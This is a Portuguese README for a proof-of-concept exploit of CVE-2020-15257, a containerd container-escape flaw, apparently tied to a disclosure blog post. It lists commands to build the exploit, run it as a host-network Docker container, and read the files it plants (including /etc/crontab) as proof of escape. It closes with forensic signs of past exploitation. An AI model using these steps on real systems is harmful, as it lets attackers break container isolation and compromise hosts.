
Prova de conceito para CVE-2020-15257 no containerd.
Este repositório contém código de exploit de prova de conceito para CVE-2020-15257 conforme descrito em nosso post no blog. Embora escrito para containerd 1.2.x e 1.3.x, deve funcionar em versões anteriores ao patch do containerd 1.4.x.
$ go build
$ docker build -t abstractshimmer .
$ docker run --rm -d --network host abstractshimmer | xargs docker logs -f
$ cat /tmp/shimmer.out
$ cat /tmp/shimmer.binary
$ # or, for containerd 1.2.x
$ cat /etc/crontab
Nota: Este exploit deixará Docker/containerd um pouco desorganizado. Haverá um containerd-shim e um contêiner Docker órfãos que precisam ser mortos e docker rm --force'd respectivamente para limpar as coisas. /var/lib/containerd/io.containerd.runtime.v1.linux/moby/ e /run/containerd/io.containerd.runtime.v1.linux/moby/ também terão alguns resíduos. Como parte disso, este exploit não tenta reconciliar os arquivos address do containerd. Isso pode levar a problemas onde tentar atualizar um sistema vulnerável após explorá-lo resultará em falha na reinicialização limpa do Docker/containerd e/ou incapacidade de ver contêineres existentes. Se você observar isso ao atualizar seu pacote containerd, pode ser um indicador de que o sistema foi previamente comprometido por alguma variante deste exploit.